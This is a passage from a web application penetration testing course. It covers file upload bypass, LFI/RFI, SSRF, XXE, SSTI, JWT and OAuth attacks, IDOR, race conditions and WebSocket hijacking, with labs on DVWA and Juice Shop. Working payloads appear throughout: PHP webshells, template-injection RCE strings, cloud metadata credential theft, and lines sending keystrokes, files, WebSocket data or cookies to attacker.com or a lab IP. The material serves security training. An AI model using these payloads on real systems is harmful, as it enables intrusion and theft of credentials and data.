  fetch('https://attacker.com/keys?k='+e.key)
})
</script>
```

dalfox — Automated XSS Scanner

```
# Single URL
dalfox url "https://target.com/search?q=test"

# Pipe mode with multiple URLs
cat urls.txt | dalfox pipe

# Custom payload
dalfox url "https://target.com/?q=test" -p "<img/src/onerror=alert(1)>" --custom-payload

# With proxy
dalfox url "https://target.com/?q=test" --proxy http://127.0.0.1:8080
```

CSRF Testing

```
# CSRF: trick victim's browser into making an authenticated request
# Conditions for exploitability:
# 1. No SameSite=Strict/Lax cookie attribute
# 2. No CSRF token OR token is predictable/not validated
# 3. Relevant state-changing action exists (password change, transfer, etc.)

# Generate CSRF PoC in Burp: right-click request → Engagement tools → Generate CSRF PoC

# Test token validation:
# Remove CSRF token completely — does request still succeed?
# Change CSRF token to arbitrary value — does request still succeed?
# Use CSRF token from another user's session — does it validate?
```

Clickjacking

```
# Test if site can be iframed
curl -sI https://target.com | grep -i "x-frame-options\|content-security-policy"
# Missing X-Frame-Options AND CSP frame-ancestors? → Clickjacking possible

# PoC HTML:
# <iframe src="https://target.com/account/delete" style="opacity:0;position:absolute;...">
# </iframe>
# <button style="position:absolute;...">Click me!</button>
```

Open Redirect

```
# Common parameters
for param in url redirect next return_url callback returnUrl redirectUrl to; do
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.com/login?$param=https://attacker.com" -L
done
# 302 to attacker.com = open redirect

# Bypass filters
/\attacker.com          (backslash bypass)
//attacker.com          (protocol-relative)
https://target.com@attacker.com
javascript:alert(1)     (for XSS via redirect)
```

Module 9 — File Upload, Path Traversal, and LFI/RFI

Objectives

Bypass file upload restrictions to achieve RCE, exploit path traversal vulnerabilities to read sensitive server files, escalate LFI to RCE via log poisoning and PHP filter chains, and exploit RFI to execute remote code.

Deep Technical Explanation

File Upload Bypass Techniques

```
# Generate PHP webshell payload
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Bypass 1: Extension blacklist bypass — try alternatives
shell.php3  shell.php4  shell.php5  shell.phtml  shell.pht
shell.PhP   shell.PHP   shell.PHp   (case variation on Windows/IIS)
shell.php.jpg   shell.php%00.jpg   (null byte on older PHP)

# Bypass 2: Content-Type spoofing
# Change: Content-Type: application/php → Content-Type: image/jpeg

# Bypass 3: Magic bytes — prepend valid image bytes before PHP
echo -e '\xff\xd8\xff\xe0' > image_shell.php
cat shell.php >> image_shell.php
# Looks like JPEG to file() check, still executes as PHP

# Bypass 4: Polyglot file (valid image AND valid PHP)
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real_image.jpg -o polyglot.php

# Bypass 5: Double extension
shell.jpg.php    # server executes based on last extension
shell.php.jpg    # if server blindly executes all uploaded files

# Bypass 6: .htaccess upload (Apache only)
# Upload: .htaccess with content: AddType application/x-httpd-php .jpg
# Then upload: shell.jpg → Apache executes it as PHP

# Verify execution:
curl "https://target.com/uploads/shell.php?cmd=id"
```

Path Traversal

```
# Basic traversal
https://target.com/download?file=../../../../etc/passwd
https://target.com/image?path=../../../etc/shadow

# Encoding bypass
%2e%2e%2f (URL encode)
%252e%252e%252f (double encode)
..%2f ..%2f (mixed)
....// (filter removes ../ leaving ../)
..././ (filter removes ../ leaving ../)

# Windows traversal
..\..\..\windows\system32\drivers\etc\hosts
..\..\..\windows\win.ini
..%5c..%5c..%5c

# Verify: read /etc/passwd first, then target sensitive files
/etc/passwd
/etc/hosts
/etc/nginx/nginx.conf
/var/www/html/config.php      (app config with DB credentials)
/proc/self/environ             (can contain secret env vars)
/proc/self/cmdline
C:\windows\system.ini
C:\inetpub\wwwroot\web.config (IIS — contains connection strings)
```

LFI — Local File Inclusion

```
# Detection
https://target.com/?page=home
https://target.com/?page=../../../etc/passwd
https://target.com/?file=contact

# PHP Wrappers (bypass include() restrictions)
# Read PHP source code base64-encoded:
https://target.com/?page=php://filter/convert.base64-encode/resource=index.php
# Decode: base64 -d <<< "ENCODED_OUTPUT" > index.php

# Execute PHP code via data:// wrapper
https://target.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
# (base64 of: <?php system($_GET['cmd']); ?>)

# Log poisoning — inject PHP into log file, then include it
# Step 1: poison Apache access log with PHP in User-Agent:
curl -s https://target.com/ -A "<?php system(\$_GET['cmd']); ?>"
# Step 2: include log file:
https://target.com/?page=/var/log/apache2/access.log&cmd=id

# /proc/self/environ poisoning
# Step 1: inject into HTTP_USER_AGENT env var:
curl -s https://target.com/ -A "<?php system('id'); ?>"
# Step 2: include environ:
https://target.com/?page=/proc/self/environ

# PHP filter chain RCE (no log access needed — modern technique)
# Use php_filter_chain_generator:
python3 php_filter_chain_generator.py --chain "<?php system(\$_GET['cmd']); ?>"
# Use generated payload as ?page= value
```

RFI — Remote File Inclusion

```
# PHP must have allow_url_include=On (less common now, but still exists)
# Test:
https://target.com/?page=http://attacker.com/shell.txt

# Host a PHP shell on attacker (Kali):
echo '<?php system($_GET["cmd"]); ?>' > shell.txt
python3 -m http.server 80

# Trigger:
https://target.com/?page=http://KALI_IP/shell.txt&cmd=id
```

Guided Lab — DVWA File Upload + LFI

```
# File Upload (DVWA low security):
# Upload shell.php directly → access at /dvwa/hackable/uploads/shell.php?cmd=id

# File Upload (medium security — Content-Type check):
# In Burp: intercept upload, change Content-Type to image/jpeg → still works

# LFI (DVWA):
curl "http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd"
# PHP wrapper:
curl "http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../config/config.inc.php"
```

Module 10 — SSRF, XXE, and SSTI

Objectives

Detect and exploit Server-Side Request Forgery to reach internal services and cloud metadata; exploit XML External Entity injection to read local files and perform SSRF; exploit Server-Side Template Injection to achieve RCE across multiple template engines.

Deep Technical Explanation

SSRF — Full Exploitation Chain

```
# Detection: any parameter accepting a URL
# Use Burp Collaborator or interactsh for blind detection
interactsh-client &   # generates unique domain e.g. xyz.interactsh.com

curl -s "https://target.com/fetch?url=http://xyz.interactsh.com"
# If DNS or HTTP ping arrives at interactsh → SSRF confirmed

# Internal port scan via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 27017; do
  start=$(date +%s%N)
  curl -s "https://target.com/fetch?url=http://127.0.0.1:$port" -o /dev/null
  end=$(date +%s%N)
  ms=$(( (end - start) / 1000000 ))
  echo "Port $port: ${ms}ms"
done
# Longer response time = port is open (connection made vs immediate refused)

# AWS cloud metadata
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2InstanceRole"
# Returns: AccessKeyId, SecretAccessKey, Token → full AWS API access

# GCP metadata
curl "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Azure metadata
curl "https://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Internal service attacks via SSRF
# Redis (port 6379): no auth by default → write arbitrary files
curl "https://target.com/fetch?url=dict://127.0.0.1:6379/info"

# SSRF filter bypass
# Localhost aliases:
http://127.0.0.1/          http://0.0.0.0/         http://[::1]/
http://localhost/          http://0177.0.0.1/       http://0x7f000001/
http://2130706433/         (decimal for 127.0.0.1)
# DNS rebinding: register domain that resolves to 127.0.0.1
# URL encoding: http://127.0.0.1%09/ or http://127.0.0.1%23evil.com/
```

XXE — XML External Entity

```
# Detect: any feature accepting XML input
# Common locations: file upload (.docx, .xlsx, .svg, .xml), SOAP, RSS feeds

# Basic file read
curl -s https://target.com/xml-endpoint -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>'

# Blind XXE (out-of-band via DNS)
curl -s https://target.com/xml-endpoint -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://xyz.interactsh.com/blind">]>
<root><data>&xxe;</data></root>'

# XXE via SVG file upload
echo '<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>' > malicious.svg
# Upload as a profile picture / avatar

# XXE to SSRF — access internal services
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>

# Parameter entity (for out-of-band data extraction)
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
# evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % out "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%out;
```

SSTI — Server-Side Template Injection

```
# Universal detection — inject math expression, see if evaluated
{{7*7}}           # Jinja2, Twig → returns 49
${7*7}            # Freemarker, Thymeleaf → returns 49
<%= 7*7 %>        # ERB (Ruby), EJS → returns 49
#{7*7}            # Ruby
*{7*7}            # Spring Expression Language (SpEL) → returns 49

# Twig (PHP) RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Jinja2 (Python/Flask) RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Jinja2 — when config is filtered
{{''.__class__.__mro__[1].__subclasses__()}}
# Find index of <class 'subprocess.Popen'> then:
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',stdout=-1).communicate()}}

# FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}

# Pebble (Java)
{% for i in [1] %}{% endfor %}{%for i in "".__class__.__mro__[1].__subclasses__()%}

# ERB (Ruby on Rails)
<%= `id` %>
<%= system("id") %>

# Mako (Python)
${__import__('os').system('id')}

# tplmap — automated SSTI detection and exploitation
tplmap -u "https://target.com/page?name=test"
tplmap -u "https://target.com/page?name=test" --os-shell
```

Guided Lab — SSTI on Juice Shop

```
# Juice Shop has an SSTI in the "Support Chat" name field
# Set name to: {{7*7}} in profile → check if 49 appears
# This is Jinja2-based → try RCE payload in profile name
TARGET="http://localhost:3000"

# Register, set username to:
# {{7*7}} → if profile shows 49, SSTI confirmed
curl -s "$TARGET/api/Users" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"test@test.com","password":"test123","username":"{{7*7}}"}'
```

Challenge Lab

On DVWA: exploit LFI to read `/etc/passwd` using three different techniques (direct path, PHP wrapper, log poisoning). On Juice Shop: find one SSRF and one SSTI vulnerability using only manual testing in Burp Repeater. For each finding, write a one-paragraph proof-of-concept description.

Review Questions — Module 7-10

1. What is the difference between error-based and boolean-based blind SQLi, and when do you use each?
2. Why does stored XSS have higher severity than reflected XSS?
3. What PHP configuration setting must be enabled for RFI to work?
4. What makes AWS EC2 metadata SSRF a critical severity finding?
5. How does SSTI differ fundamentally from XSS even though both involve template/rendering outputs?

Answers

1. Error-based relies on the database returning actual error messages containing extracted data — fast but requires verbose errors. Boolean-based blind infers data by asking true/false questions and observing response differences — works even with generic error messages. Use error-based first; fall back to boolean when errors are suppressed.
2. Stored XSS persists in the database and executes for every user who views the affected page or content — including administrators — without the victim clicking a crafted link. Reflected XSS requires delivering a crafted URL to each victim individually.
3. `allow_url_include = On` in `php.ini` must be enabled for PHP's `include()`/`require()` to accept remote URLs — it is disabled by default in PHP 7+.
4. It returns temporary IAM credentials (AccessKeyId, SecretAccessKey, Token) that provide complete AWS API access — an attacker can enumerate and access S3 buckets, EC2 instances, databases, secrets manager, and any other cloud resource the instance role has permissions for.
5. XSS executes code in the victim's browser (client-side) and can only affect that user's session. SSTI executes code inside the server-side template engine with the server process's privileges — it is server-side RCE and can affect every user, the entire server, and the underlying OS.

PART IV

Authentication, Logic & Modern Apps

JWT/OAuth attacks, business logic, IDOR, SPA testing, WebSockets, microservices, and cloud storage.

MODULE 11

Authentication, Session, JWT, and OAuth Testing

Objectives

Test every authentication flow for bypasses, brute-force weaknesses, and race conditions; attack JWT tokens using signature algorithm confusion and secret brute-force; exploit OAuth misconfigurations for account takeover; and perform session management attacks including fixation, prediction, and privilege escalation.

Deep Technical Explanation

JWT Attacks

```
# Decode JWT without verification (header.payload.signature — base64 separated by dots)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d 2>/dev/null

# Algorithm confusion — change HS256 to none
# Python:
python3 -c "
import base64, json
header = base64.b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).decode().rstrip('=')
print(f'{header}.{payload}.')
"
# Send: Authorization: Bearer GENERATED_TOKEN_WITH_EMPTY_SIGNATURE

# RS256 → HS256 confusion attack
# If server uses RS256 (asymmetric), confuse it to verify with public key as HMAC secret
jwt_tool JWT -X k -pk server_publickey.pem

# Weak secret brute force
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
# Or: john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.txt

# jwt_tool — comprehensive JWT testing
pip3 install jwt_tool --break-system-packages
jwt_tool JWT_TOKEN          # decode and display
jwt_tool JWT_TOKEN -X a     # all attacks
jwt_tool JWT_TOKEN -X s     # secret brute-force
jwt_tool JWT_TOKEN -T       # tamper mode (interactive)
```

OAuth 2.0 Testing

```
# Common OAuth flows and their vulnerabilities:

# 1. State parameter missing / not validated → CSRF on OAuth
# Visit: /oauth/authorize?client_id=X&redirect_uri=https://app.com/callback&response_type=code
# If no &state= parameter → CSRF attack: trick victim into linking their account to yours

# 2. redirect_uri bypass
# Registered: https://app.com/callback
# Attack: https://app.com/callback/../evil  (path traversal)
# Attack: https://app.com.evil.com/callback (subdomain confusion)
# Attack: https://app.com/callback?redirect=evil.com (open redirect chain)

# 3. Authorization code interception
# If code returned in URL → appears in Referer header of any linked resource on callback page
# Code can be extracted from server logs / browser history

# 4. Token leakage via referrer
# access_token in URL fragment (#) → leaked to JS on page, third-party scripts

# 5. Scope escalation
# Request: scope=read
# Change to: scope=read write admin
# Does the granted token have admin scope?
```

Password Reset Flaws

```
# 1. Predictable/sequential reset tokens
# Request reset twice quickly, compare tokens:
curl -s https://target.com/forgot -d "email=victim@target.com"
curl -s https://target.com/forgot -d "email=victim@target.com"
# If tokens are: abc001, abc002 → sequential → predictable

# 2. Token in URL (leaks via Referer)
# Normal: POST body with token
# Bad: GET /reset?token=abc123&email=victim@target.com

# 3. Host header poisoning for password reset
curl -s https://target.com/forgot -X POST \
  -H "Host: attacker.com" \
  -d "email=victim@target.com"
# If reset email contains: "Click here: https://attacker.com/reset?token=SECRET_TOKEN"
# → account takeover

# 4. Token not invalidated after use / no expiry
# Request a reset link → use it → request another → old link still works?

# 5. User enumeration via response difference
curl -s https://target.com/forgot -d "email=nonexistent@test.com" | wc -c
curl -s https://target.com/forgot -d "email=admin@target.com" | wc -c
```

Session Management

```
# Session fixation
# Step 1: get a pre-auth session ID
PRESESS=$(curl -sc cookies.txt https://target.com/login | grep -oP 'PHPSESSID=\K[^;]+')
# Step 2: log in
curl -sb cookies.txt https://target.com/login -d "user=admin&pass=pass"
# Step 3: check if session ID changed after authentication
curl -sb cookies.txt https://target.com/profile | grep "session"
# Same session ID = fixation vulnerability

# Session entropy (predictable sessions)
# Collect 10-20 session IDs, look for sequential/time-based patterns
for i in $(seq 1 10); do
  curl -sI https://target.com/ | grep -i "set-cookie" | grep -oP 'session=\K[^;]+'
done

# Cookie flag testing
curl -sI https://target.com/login | grep -i "set-cookie"
# Missing Secure flag: cookie sent over HTTP (MITM risk)
# Missing HttpOnly: JS can read cookie (XSS risk)
# SameSite=None without Secure: CSRF risk
```

Module 12 — Business Logic, IDOR, and Race Conditions

Objectives

Find vulnerabilities that exist only in the application's specific business logic — price manipulation, workflow bypass, race conditions, and IDOR across all object types — using only manual reasoning and Burp Suite.

Deep Technical Explanation

IDOR Testing Methodology

```
# Step 1: Map every numeric/GUID identifier in the app
# Sources: URL path, URL params, POST body, JSON fields, hidden form fields

# Step 2: Set up two accounts (Account A and Account B)
# Log in as Account A, note all resource IDs (orders, files, messages, tickets)

# Step 3: Log in as Account B, access Account A's resources
curl -s https://target.com/api/orders/A_ORDER_ID -H "Cookie: session=B_SESSION"
# 200 with A's data → IDOR confirmed

# Step 4: Vertical IDOR — access admin objects with normal account
curl -s https://target.com/api/admin/users -H "Cookie: session=NORMAL_SESSION"
curl -s https://target.com/api/users/1/admin-settings -H "Cookie: session=NORMAL_SESSION"

# Use Burp Autorize extension to automate this for every request automatically
```

Business Logic Testing

```
# Price manipulation
# Intercept add-to-cart or checkout POST:
# Change: {"price":99.99,"quantity":1} → {"price":0.01,"quantity":1}
# Or: {"price":99.99,"quantity":-1} → negative quantity = credit

# Workflow bypass
# Step 1: /checkout/address → Step 2: /checkout/payment → Step 3: /checkout/confirm
# Skip step 2 by going directly to step 3
curl -s https://target.com/checkout/confirm -b "session=USER_SESSION"
# If order completes without payment → critical business logic flaw

# Coupon stacking
# Apply coupon once → add to cart again → apply coupon again without removing first
# Or: use two accounts with same coupon (if not invalidated per-account)

# Negative quantity
# Add -1 quantity of item: final cart total becomes negative → credit applied

# Quantity limit bypass
# Frontend limits quantity to 10 → intercept and change to 99999
# Does server validate this?
```

Race Conditions

```
# Classic: "check-then-act" race condition
# Example: withdraw $100 from account with $100 balance
# Two simultaneous requests both read balance=$100, both approve, account goes to -$100

# Burp Suite Turbo Intruder for race condition testing:
# Settings: attack type "race" with concurrent requests

# Python concurrent requests:
import threading, requests

def withdraw(session):
    session.post('https://target.com/withdraw', data={'amount':100})

session = requests.Session()
session.post('https://target.com/login', data={'user':'victim','pass':'pass'})

threads = [threading.Thread(target=withdraw, args=(session,)) for _ in range(20)]
[t.start() for t in threads]
[t.join() for t in threads]

# Common race condition targets:
# - Gift card/coupon redemption (redeem once while sending 50 requests simultaneously)
# - Like/vote system (vote more than allowed)
# - File processing (timing window between upload check and processing)
```

Module 13 — SPA, Mobile Backend, and Admin Panel Testing

Objectives

Test JavaScript-heavy Single Page Applications for client-side vulnerabilities, hidden routes, and insecure API consumption; assess mobile application backends for the same issues with additional mobile-specific concerns; and comprehensively test admin panels for misconfigurations.

Deep Technical Explanation

SPA Testing (React, Angular, Vue)

```
# Route discovery — SPAs define routes in JS bundle
curl -s https://target.com/static/js/main.js | grep -oE '"/[a-z][a-z0-9/_-]+"' | sort -u
curl -s https://target.com/static/js/main.js | grep -oE '"path":"[^"]+"' | sort -u

# Angular route extraction
curl -s https://target.com/main.js | grep -oE 'path:"[^"]+"' | sort -u

# Hidden admin routes (often defined in bundle but not linked in UI)
# Common patterns found in real-world SPAs:
# /admin /superadmin /internal /debug /dev /backdoor /manage

# Check for client-side route authorization bypass:
# Navigate to /admin in URL bar directly — does frontend route guard check server?
# Many SPAs check auth on the component load, not the server
# Solution: intercept XHR calls and see if server validates auth properly

# Source map exploitation (.map files)
# Check: https://target.com/static/js/main.js.map
# If present: downloads full TypeScript/original source code
curl -s https://target.com/static/js/main.js.map | python3 -m json.tool | head -5
# Use: sourcemapper tool to reconstruct original source
```

Admin Panel Testing Checklist

```
# Default credentials (always try first)
admin:admin  admin:password  admin:admin123  root:root
admin:1234   administrator:administrator    admin:  (empty)

# Common admin paths
for path in admin wp-admin administrator admin123 control panel cpanel \
            manager backend superadmin sysadmin; do
  curl -s -o /dev/null -w "$path: %{http_code}\n" "https://target.com/$path/"
done

# Once inside admin panel, test:
# 1. IDOR on user management (modify other admins)
# 2. Unrestricted file upload in media manager
# 3. Template/theme editor for file write
# 4. Database export functionality → read arbitrary tables
# 5. SMTP/email settings → test blind SSRF via email server
# 6. Backup functionality → trigger backup, download it (may contain source + DB)
# 7. Plugin/module install → upload malicious ZIP
# 8. Custom CSS/JS injection → stored XSS affecting all admin users
```

Module 14 — WebSockets, Microservices, and Cloud Apps

Objectives

Test WebSocket connections for injection and authentication issues; assess Docker/Kubernetes-deployed microservices for misconfigurations; test for cloud storage exposure; identify subdomain takeover; and understand serverless function attack surfaces.

Deep Technical Explanation

WebSocket Testing

```
# In Burp Suite: Proxy → WebSockets History captures WS traffic
# Right-click message → Send to Repeater

# WebSocket injection — same classes as HTTP
# Send SQL injection: {"message":"' OR '1'='1"}
# Send XSS: {"message":"<script>alert(1)</script>"}
# Send command injection: {"action":"ping","host":"127.0.0.1; id"}

# WebSocket authentication bypass
# 1. Capture initial handshake (HTTP Upgrade request)
# 2. Check if auth token is in WS URL or in the Upgrade header
# 3. Try connecting without auth token or with another user's token

# Cross-Site WebSocket Hijacking (CSWSH)
# WebSocket doesn't enforce Same-Origin Policy on connections
# If WS upgrade request has no CSRF token and uses cookie auth:
# Attacker page can establish WS connection AS victim using their cookie
cat > cswsh.html << 'EOF'
<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onmessage = function(e) {
  fetch("https://attacker.com/steal?data=" + btoa(e.data));
}
ws.onopen = function() {
  ws.send('{"action":"get_profile"}');
}
</script>
EOF
```

Cloud Storage Exposure

```
# S3 bucket enumeration
# Common naming patterns: target, target-backup, target-dev, target-prod, target-staging
for bucket in target target-backup target-dev target-prod target-static target-assets; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://$bucket.s3.amazonaws.com/")
  echo "$bucket: $code"
  # 200 or 403 = bucket exists; 403 = private; 200 = public (CRITICAL)
done

# If bucket is public: list contents
aws s3 ls s3://target-backup --no-sign-request
aws s3 cp s3://target-backup/db_dump.sql . --no-sign-request

# GCS bucket
curl -s "https://storage.googleapis.com/target-backup/"

# Azure blob
curl -s "https://targetstorage.blob.core.windows.net/backups?restype=container&comp=list"

# nuclei templates for cloud misconfigurations
nuclei -u https://target.com -t miscellaneous/ -tags aws,s3,gcp,azure
```

Subdomain Takeover

```
# Dangling DNS: subdomain points to external service that no longer exists
# Check CNAME targets:
dig CNAME subdomain.target.com

# If CNAME points to: someapp.github.io, xxx.s3.amazonaws.com,
# xxx.azurewebsites.net, xxx.herokuapp.com, xxx.netlify.app
# And that resource doesn't exist → YOU can register it and host content

# subjack — automated subdomain takeover checker
subjack -w all_subs.txt -t 100 -timeout 30 -o potential_takeovers.txt

# Manual check: visit subdomain → if error page says "there isn't a GitHub Pages site here"
# → register the GitHub Pages site on the same repo name
```

Guided Lab — WebSocket Testing on Juice Shop

```
# Juice Shop has WebSocket chat
# Open http://localhost:3000 → navigate to Customer Support
# In Burp: Proxy → WebSockets History
# Send messages, observe frame format
# Try: {"body":"<script>alert(1)</script>"} for stored XSS via WS
# Try: {"body":"' OR '1'='1"} for injection
# Try connecting to WS without auth cookie (use websocket cat or wscat):
npm install -g wscat
wscat -c ws://localhost:3000/socket.io/?EIO=4
```

Challenge Lab

Map all routes in the Juice Shop SPA from its JavaScript bundle alone (no browsing, no tools — just grep). Find at least five routes not visible in the main navigation. For each route, determine whether the server enforces authentication by accessing it with an unauthenticated session.

Review Questions — Modules 11-14

1. What is the JWT algorithm confusion attack and what is its root cause?
2. Name three OAuth 2.0 misconfigurations that lead to account takeover.
3. What is Cross-Site WebSocket Hijacking and what condition makes it possible?
4. What makes race conditions hard to find with standard scanners?
5. What is subdomain takeover and what makes a subdomain vulnerable to it?

Answers

1. The server accepts RS256-signed JWTs but an attacker changes the header to HS256 and signs the token with the server's RSA public key as the HMAC secret. The root cause is the server trusting the `alg` header field from the token itself rather than enforcing a specific algorithm server-side.
2. Missing/unvalidated state parameter (CSRF on OAuth flow); redirect_uri not strictly validated (redirect to attacker-controlled domain); authorization codes exposed in URL (intercepted via Referer header).
3. CSWSH allows an attacker's webpage to establish a WebSocket connection to the target site using the victim's session cookie (browsers send cookies with WS upgrade requests). The condition is: no CSRF token required in the WS handshake request.
4. Race conditions require precise timing of concurrent requests — automated scanners send requests sequentially, never in parallel with the microsecond precision needed to trigger check-then-act races. Manual exploitation requires purpose-built concurrent request tools.
5. Subdomain takeover occurs when a subdomain's DNS record (usually CNAME) points to an external service that no longer has the resource registered. An attacker can register that resource on the external service and serve malicious content from the legitimate subdomain. It's vulnerable when the CNAME target is a claimable external service like GitHub Pages, Heroku, Netlify, or S3.

PART V

Capstone & Reference

Full campaign simulation, professional reporting, cheat sheets, roadmap, and final assessments.

CAPSTONE

Module 15 — Full Web Application Pentest Capstone

Objectives

Execute a complete, professional-grade web application penetration test from first recon through final report on a realistic target scenario combining multiple application types, following the full methodology from Module 1 end-to-end without assistance.

The Scenario

Target environment: A fictional SaaS company "InnovateCorp" running:

- Main marketing site on WordPress (`www.innovatecorp.local`)
- Customer portal (React SPA) on `app.innovatecorp.local` backed by REST API
- Admin panel on `admin.innovatecorp.local`
- Legacy SOAP API on `api.innovatecorp.local`
- File storage exposed at `files.innovatecorp.local`
- Staging environment at `staging.innovatecorp.local`

Lab Setup:

```
# Add to /etc/hosts:
192.168.56.60  www.innovatecorp.local app.innovatecorp.local \
               admin.innovatecorp.local api.innovatecorp.local \
               files.innovatecorp.local staging.innovatecorp.local

# Spin up multiple DVWA/Juice Shop containers for simulation:
docker run -d -p 8090:80 vulnerables/web-dvwa   # wordpress simulation
docker run -d -p 8091:3000 bkimminich/juice-shop # SPA portal simulation
```

Phase 1 — Reconnaissance (30 minutes)

```
# 1. Subdomain enumeration
amass enum -passive -d innovatecorp.local -o recon/subdomains.txt
cat recon/subdomains.txt | httpx -status-code -title -tech-detect -o recon/live.txt

# 2. Technology stack per subdomain
while read host; do
  echo "=== $host ===" >> recon/tech.txt
  whatweb "http://$host" >> recon/tech.txt 2>/dev/null
done < recon/live_hosts.txt

# 3. Content discovery on each live host
for host in www app admin api files staging; do
  feroxbuster -u "http://$host.innovatecorp.local" \
    -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \
    -x php,html,js,json,txt,bak,zip -t 30 \
    -o "recon/fero_${host}.txt" 2>/dev/null
done

# 4. Check for sensitive exposures
for host in www app admin api files staging; do
  for path in .git/HEAD .env wp-config.php.bak robots.txt sitemap.xml; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "http://$host.innovatecorp.local/$path")
    [ "$code" = "200" ] && echo "FOUND: $host/$path"
  done
done

# 5. JS source mining on SPA
curl -s http://app.innovatecorp.local/ | grep -oE 'src="[^"]*\.js[^"]*"'
# Download main bundle and extract API endpoints + routes
```

Phase 1 expected findings:

- `staging.innovatecorp.local` running older version of app
- `robots.txt` disallows `/admin-backup/` (interesting path)
- `.git/HEAD` returns 200 on `www` subdomain (source code exposed)
- React bundle reveals undocumented API endpoints

Phase 2 — Application Mapping (45 minutes)

```
# WordPress (www)
wpscan --url http://www.innovatecorp.local -e ap,at,au --api-token TOKEN -o recon/wpscan.txt

# SPA (app) — map all routes from bundle + Burp browsing
# Admin panel — attempt default credentials, map functionality
# SOAP API — get WSDL, enumerate operations

# Two-account setup for authorization testing:
# Register: user_a@test.com / user_b@test.com (Account A and B)
# Request all operations as Account A, note resource IDs
# Set up Autorize in Burp with Account B's cookie
```

Phase 3 — Vulnerability Testing

```
# WordPress (www)
# → Enumerate plugins, check for known CVEs
# → Test XML-RPC: curl http://www.innovatecorp.local/xmlrpc.php -X POST -d '<method...>'
# → Check wp-json REST API for user enumeration
# → Brute force with discovered usernames

# SPA + REST API (app)
# → Test all API endpoints without auth first
# → IDOR: access Account A's resources as Account B
# → Mass assignment: add role/balance fields to user update
# → JWT: decode, check algorithm, attempt none/HS256 confusion
# → Rate limit: brute force OTP endpoint

# Admin panel
# → Default credentials
# → If access gained: unrestricted file upload, template RCE

# SOAP API
# → WSDL parsing
# → XXE in SOAP body
# → SQL injection in parameters
# → Authentication bypass

# Staging
# → Often has debug mode, verbose errors, test accounts
# → Try: admin/admin, test/test, debug/debug
```

Phase 4 — Exploitation and Impact Demonstration

Each confirmed vulnerability gets a PoC:

```
# Example: IDOR on Order endpoint
curl -s http://app.innovatecorp.local/api/orders/10001 \
  -H "Authorization: Bearer ACCOUNT_B_JWT"
# Shows Account A's order data → Screenshot for report

# Example: SQLi on SOAP
curl -s http://api.innovatecorp.local/soap -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body><getUser><id>1 UNION SELECT user(),database(),3--</id></getUser></soapenv:Body>
  </soapenv:Envelope>'

# Example: Stored XSS via WordPress comment
curl -s http://www.innovatecorp.local/wp-comments-post.php -X POST \
  -d "comment=<script>fetch('http://192.168.56.1/steal?c='+document.cookie)</script>&author=test&email=test@test.com&url=&submit=Post+Comment&comment_post_ID=1"
```

Module 16 — Professional Reporting for Web App Pentests

Objectives

Produce a professional, client-ready web application penetration test report with correct risk ratings, clear evidence, and actionable remediation guidance that a developer team can actually use.

Report Structure

Executive Summary (Non-Technical)

```
[Client Name] Web Application Penetration Test — Executive Summary
Date: [DATE]
Assessed by: Oscar Opemba (oxghostx)
Scope: [list of domains/applications]

Overall Risk Rating: CRITICAL

During the assessment period, [N] vulnerabilities were identified across
[application list]. The most severe findings allow [plain-language impact]:
an unauthenticated attacker could [specific worst-case impact].

Key risk areas:
• Authentication and Session Management — [N] findings
• Injection Vulnerabilities — [N] findings
• Access Control — [N] findings
• Sensitive Data Exposure — [N] findings

Immediate action is recommended on [N] critical findings before the
application is exposed to additional traffic.
```

Findings Severity Reference

Rating	CVSS Range	Definition
Critical	9.0–10.0	Unauthenticated RCE, full authentication bypass, direct data breach
High	7.0–8.9	Authenticated RCE, SQLi with data dump, stored XSS on admin, SSRF to metadata
